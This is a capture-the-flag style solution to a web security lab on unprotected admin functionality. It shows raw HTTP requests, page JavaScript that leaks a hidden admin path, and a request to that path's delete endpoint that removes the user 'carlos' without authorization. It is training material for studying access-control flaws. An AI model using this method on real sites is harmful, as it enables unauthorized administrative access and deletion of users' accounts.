Port Swigger Unprotected admin functionality with
Unprotected admin functionality with unpredictable URL
Solution
Open website: https://0a8f008203dd8bca80d5c63b00bb00e2.web-security-academy.net/login
GET /login HTTP/2
Host: 0a8f008203dd8bca80d5c63b00bb00e2.web-security-academy.net
Cookie: session=SeLs0hGsGIE6iOF4QUzVWNqrIYq9Dk3S
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0a8f008203dd8bca80d5c63b00bb00e2.web-security-academy.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
View source code: https://0a8f008203dd8bca80d5c63b00bb00e2.web-security-academy.net/login
...
var isAdmin = false;
if (isAdmin) {
var topLinksTag = document.getElementsByClassName("top-links")[0];
var adminPanelTag = document.createElement('a');
adminPanelTag.setAttribute('href', '/admin-9u9dv5');
adminPanelTag.innerText = 'Admin panel';
topLinksTag.append(adminPanelTag);
var pTag = document.createElement('p');
pTag.innerText = '|';
topLinksTag.appendChild(pTag);
}var isAdmin = false;
if (isAdmin) {
var topLinksTag = document.getElementsByClassName("top-links")[0];
var adminPanelTag = document.createElement('a');
adminPanelTag.setAttribute('href', '/admin-9u9dv5');
adminPanelTag.innerText = 'Admin panel';
topLinksTag.append(adminPanelTag);
var pTag = document.createElement('p');
pTag.innerText = '|';
topLinksTag.appendChild(pTag);
}
...
Open website: https://0a8f008203dd8bca80d5c63b00bb00e2.web-security-academy.net/admin-9u9dv5
GET /admin-9u9dv5 HTTP/2
Host: 0a8f008203dd8bca80d5c63b00bb00e2.web-security-academy.net
Cookie: session=SeLs0hGsGIE6iOF4QUzVWNqrIYq9Dk3S
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Delete user: carlos
GET /admin-9u9dv5/delete?username=carlos HTTP/2
Host: 0a8f008203dd8bca80d5c63b00bb00e2.web-security-academy.net
Cookie: session=SeLs0hGsGIE6iOF4QUzVWNqrIYq9Dk3S
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0a8f008203dd8bca80d5c63b00bb00e2.web-security-academy.net/admin-9u9dv5
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Solved